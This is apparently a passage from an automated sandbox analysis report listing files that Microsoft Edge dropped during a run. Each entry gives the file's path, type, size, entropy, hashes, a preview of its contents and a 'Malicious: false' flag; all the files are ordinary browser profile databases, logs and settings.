Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\dc6de7d4-534e-4e7f-aec9-65af501122c7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	38627
Entropy (8bit):	5.554744876613989
Encrypted:	false
SSDEEP:	768:xRwBjEWYv7pLGLpDlW5wgOf4fB8F1+UoAYDCx9Tuqh0VfUC9xbog/OVP3sITIqnZ:x2ZEvpcpDlWagOfcBu1jae9r0xNXHWys
MD5:	E56E664312B32988B875939538A75593
SHA1:	255C5EBC93144BE866D06E96002045EFAF4F9B23
SHA-256:	C67B8C78C1DB34AB823EF25CCB902C84026D28BB357057080EA8EB13F810FD33
SHA-512:	A4F842B578397A77F3FD8AC92536EAF8F14F2AE78BC0D9D575C35BB68601A72F91E3154A8FD3A0DD8231E5139637455E8038C0FCCF9F0CA5AC16B331BC484BF5
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376277516240767","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376277516240767","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10227509686580523
Encrypted:	false
SSDEEP:	12:+qgGqgbspEjVl/PnnnnnnnnnnnvoQ/Eou:+qgGqg0oPnnnnnnnnnnnv1j
MD5:	6DDA249C8248D8D41D584095D60915B4
SHA1:	EDD89435AC703B75D2CFDEC3FD5637E72023BFD9
SHA-256:	8FC23B05B9E64DB79D4ACEFD2F9C87B42ADDB5AA3D44F52B203AA9616921C1B3
SHA-512:	656ED205C58BD332510E382713A5011D24912B6282C56518092E7736C97E802AF7796ABE6FFE76F7DD1FA96DC0F4DFC7DA66CD572FBA1C27EA7A8038E1FE1580
Malicious:	false
Preview:	..-.............M.......).._..K.$J...V..,._:.....-.............M.......).._..K.$J...V..,._:...........I...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	317272
Entropy (8bit):	0.8903327309085911
Encrypted:	false
SSDEEP:	384:tgqezTBJwJuph1dfxLMjvkpk1HH8Dv8HydyK1SykynBynxyv0:+h4c/Q5
MD5:	7BB6C9B01B445C3B7D68D8CBF4A31F96
SHA1:	2DDBB864EB6CE9A0A3B8C0EE64AFD89F88EF812C
SHA-256:	42F317585D81727B75A2214B4F76E5F33D78EC1DE0751D297948EC107C8F8BD7
SHA-512:	B0A5F107B62BD8762B1FCD9C443DAF5E6B0F1C79F9FD892DD9F448AD142E94BBE5C2A08ABE1CB8BDFDBC1D2071FB741E6D5329CA8E16B76185AEF7A7E14A2ADD
Malicious:	false
Preview:	7....-..........$J...V....M7'.z.........$J...V..h.IR..4.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	628
Entropy (8bit):	3.2367867352626987
Encrypted:	false
SSDEEP:	12:p9lc8QyOuuuuuuuuuuuuuuuuuuuuuuuUO8M:pHayX
MD5:	52525E61B42FE52B0AA4D7140DFE0165
SHA1:	2E5186EB6A79EDCD51A14A74AA03CD94CB9A5161
SHA-256:	44D3AD8CF1E15BF6451324BD9C8645B35121CAA0EA23DF2E147C92E18F492D71
SHA-512:	BCE1EFB268A269B13A8C01646B98491AABE448C094A247E253088A31F025ECD061A4675897DCF802DA554CE09A1BB6A6EACEA8F07C58B7D43BA0416578F032C3
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..$.0................39_config..........6.....n ...1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............U...0................39_config..........6.....n ....1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.278740439389475
Encrypted:	false
SSDEEP:	6:HUTzq2PN723oH+TcwtfrK+IFUt8YUQ8Zmw+YUbMvkwON723oH+TcwtfrUeLJ:EzvVaYeb23FUt8W8/+5Mv5OaYeb3J
MD5:	56068AA9382E401991A91CE43A48855C
SHA1:	22E8214C1F516A544DE292733C87C392DD2CFEEB
SHA-256:	835BD5176C306BF8BA60AA3320DDC15CACE4D148B17BA15EC6CDDDEAF39B1F21
SHA-512:	9FCC14DE997AC423DC7A4CCA98A33E16CACD3CDE5A816179F6544E7C5F6F7B99EF7B7136827CAF988FB3116D9E502DD2EE87479DFA791D8DFBB9BE37C7DAEA98
Malicious:	false
Preview:	2024/11/16-19:38:36.771 1fb4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/16-19:38:36.772 1fb4 Recovering log #3.2024/11/16-19:38:36.779 1fb4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.278740439389475
Encrypted:	false
SSDEEP:	6:HUTzq2PN723oH+TcwtfrK+IFUt8YUQ8Zmw+YUbMvkwON723oH+TcwtfrUeLJ:EzvVaYeb23FUt8W8/+5Mv5OaYeb3J
MD5:	56068AA9382E401991A91CE43A48855C
SHA1:	22E8214C1F516A544DE292733C87C392DD2CFEEB
SHA-256:	835BD5176C306BF8BA60AA3320DDC15CACE4D148B17BA15EC6CDDDEAF39B1F21
SHA-512:	9FCC14DE997AC423DC7A4CCA98A33E16CACD3CDE5A816179F6544E7C5F6F7B99EF7B7136827CAF988FB3116D9E502DD2EE87479DFA791D8DFBB9BE37C7DAEA98
Malicious:	false
Preview:	2024/11/16-19:38:36.771 1fb4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/16-19:38:36.772 1fb4 Recovering log #3.2024/11/16-19:38:36.779 1fb4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	816
Entropy (8bit):	4.0647916882227655
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z32m5t/yVf9HqlIZfkBA//DtKhKg+rOyBrgxvB1ySxs:G0nYUtypD32m3yWlIZMBA5NgKIvB8Sxs
MD5:	3BE72D8D40752B3A97028FDB2931FABA
SHA1:	A27EA4726857A948F0A4B074062B674469A9A371
SHA-256:	3C18553C8C3F7E801855F3579AC57F3C156D783BBA27FB35C6D2FB6CB89BD902
SHA-512:	8EBD4D6980BB7796615217E72BC65953C920B68B9259341CD52858C1E889EC90339E2A304FE0C971D6C6EF9AFC4A00CFB3E5CC89C7B2DF8737A0C7EC241BDADC
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....X...................20_.....W.J+.................19_......qY.................18_.....'}2..................37_.......c..................38_......i...................39_.....Owa..................20_.....4.9..................20_.....B.I..................19_..........................18_.....2.1..................37_..........................38_......=.%.................39_.....p.j..................9_.....JJ...................9_.....\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... ......................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	346
Entropy (8bit):	5.263697533284185
Encrypted:	false
SSDEEP:	6:HUkq2PN723oH+TcwtfrzAdIFUt8YUFZmw+YUXkwON723oH+TcwtfrzILJ:pvVaYeb9FUt8f/+N5OaYeb2J
MD5:	EAF86573CBD61138D68688B82A744C81
SHA1:	CC25CE5077AB8AB8E921687845154B06FFD9157C
SHA-256:	61206D4827B5BACC635BB3B275D4BB7AA23D5106A7FD889129AC935CAC92C1A1
SHA-512:	155E861DB3918D082602D64AFB89894A4447751A11AA34169A8D7D8AE2A6037EA38905FE5936D5D082AE4BD95C48219596E71645AC9AF706CE482DC83F7EA597
Malicious:	false
Preview:	2024/11/16-19:38:36.767 1fb4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/16-19:38:36.767 1fb4 Recovering log #3.2024/11/16-19:38:36.767 1fb4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	346
Entropy (8bit):	5.263697533284185
Encrypted:	false
SSDEEP:	6:HUkq2PN723oH+TcwtfrzAdIFUt8YUFZmw+YUXkwON723oH+TcwtfrzILJ:pvVaYeb9FUt8f/+N5OaYeb2J
MD5:	EAF86573CBD61138D68688B82A744C81
SHA1:	CC25CE5077AB8AB8E921687845154B06FFD9157C
SHA-256:	61206D4827B5BACC635BB3B275D4BB7AA23D5106A7FD889129AC935CAC92C1A1
SHA-512:	155E861DB3918D082602D64AFB89894A4447751A11AA34169A8D7D8AE2A6037EA38905FE5936D5D082AE4BD95C48219596E71645AC9AF706CE482DC83F7EA597
Malicious:	false
Preview:	2024/11/16-19:38:36.767 1fb4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/16-19:38:36.767 1fb4 Recovering log #3.2024/11/16-19:38:36.767 1fb4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.6612262562697895
Encrypted:	false
SSDEEP:	3:NYLFRQZ:ap2Z
MD5:	B64BD80D877645C2DD14265B1A856F8A
SHA1:	F7379E1A6F8CE062E891C56736C789C7EA77CD6A
SHA-256:	83476CEEEB7682F41030664B4E17305986878D14E82D0C277FB99EC546B44569
SHA-512:	734A7316A269C76DD052D980CC0D5209C0BFEDFFC55B11C58FA25C433CE8A42536827298C3E58CACD68CC01593C23D39350E956E8DE2268D8D29918E1F0667F2
Malicious:	false
Preview:	117.0.2045.55

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089800016618188
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWAdi1zNtPMDkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn0AkzItSmd6qE7lFoC
MD5:	6940FC30904895AF14E4983F88433FD6
SHA1:	A6F15508A35B8080B640A3387B13EF2E6D3CFD37
SHA-256:	1085AE1FFE1AB362D64B1958DC39AEACF3504D447B1FB44B9BF6E6D6E3388613
SHA-512:	38EC20E519C981FF413B22B22DD0D3AAE57733123A89EA6F27A69268642FE5FC59E92FB2AEB26F9D450E9E5AB02635CA6D79C31A6CB84727AAB22699A8B79E7A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3bc5c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089800016618188
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWAdi1zNtPMDkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn0AkzItSmd6qE7lFoC
MD5:	6940FC30904895AF14E4983F88433FD6
SHA1:	A6F15508A35B8080B640A3387B13EF2E6D3CFD37
SHA-256:	1085AE1FFE1AB362D64B1958DC39AEACF3504D447B1FB44B9BF6E6D6E3388613
SHA-512:	38EC20E519C981FF413B22B22DD0D3AAE57733123A89EA6F27A69268642FE5FC59E92FB2AEB26F9D450E9E5AB02635CA6D79C31A6CB84727AAB22699A8B79E7A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3bc6b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089800016618188
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWAdi1zNtPMDkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn0AkzItSmd6qE7lFoC
MD5:	6940FC30904895AF14E4983F88433FD6
SHA1:	A6F15508A35B8080B640A3387B13EF2E6D3CFD37
SHA-256:	1085AE1FFE1AB362D64B1958DC39AEACF3504D447B1FB44B9BF6E6D6E3388613
SHA-512:	38EC20E519C981FF413B22B22DD0D3AAE57733123A89EA6F27A69268642FE5FC59E92FB2AEB26F9D450E9E5AB02635CA6D79C31A6CB84727AAB22699A8B79E7A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3bdb3.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089800016618188
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWAdi1zNtPMDkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn0AkzItSmd6qE7lFoC
MD5:	6940FC30904895AF14E4983F88433FD6
SHA1:	A6F15508A35B8080B640A3387B13EF2E6D3CFD37
SHA-256:	1085AE1FFE1AB362D64B1958DC39AEACF3504D447B1FB44B9BF6E6D6E3388613
SHA-512:	38EC20E519C981FF413B22B22DD0D3AAE57733123A89EA6F27A69268642FE5FC59E92FB2AEB26F9D450E9E5AB02635CA6D79C31A6CB84727AAB22699A8B79E7A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3e495.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089800016618188
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWAdi1zNtPMDkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn0AkzItSmd6qE7lFoC
MD5:	6940FC30904895AF14E4983F88433FD6
SHA1:	A6F15508A35B8080B640A3387B13EF2E6D3CFD37
SHA-256:	1085AE1FFE1AB362D64B1958DC39AEACF3504D447B1FB44B9BF6E6D6E3388613
SHA-512:	38EC20E519C981FF413B22B22DD0D3AAE57733123A89EA6F27A69268642FE5FC59E92FB2AEB26F9D450E9E5AB02635CA6D79C31A6CB84727AAB22699A8B79E7A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF41fe8.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089800016618188
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWAdi1zNtPMDkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn0AkzItSmd6qE7lFoC
MD5:	6940FC30904895AF14E4983F88433FD6
SHA1:	A6F15508A35B8080B640A3387B13EF2E6D3CFD37
SHA-256:	1085AE1FFE1AB362D64B1958DC39AEACF3504D447B1FB44B9BF6E6D6E3388613
SHA-512:	38EC20E519C981FF413B22B22DD0D3AAE57733123A89EA6F27A69268642FE5FC59E92FB2AEB26F9D450E9E5AB02635CA6D79C31A6CB84727AAB22699A8B79E7A
Malicious:	false
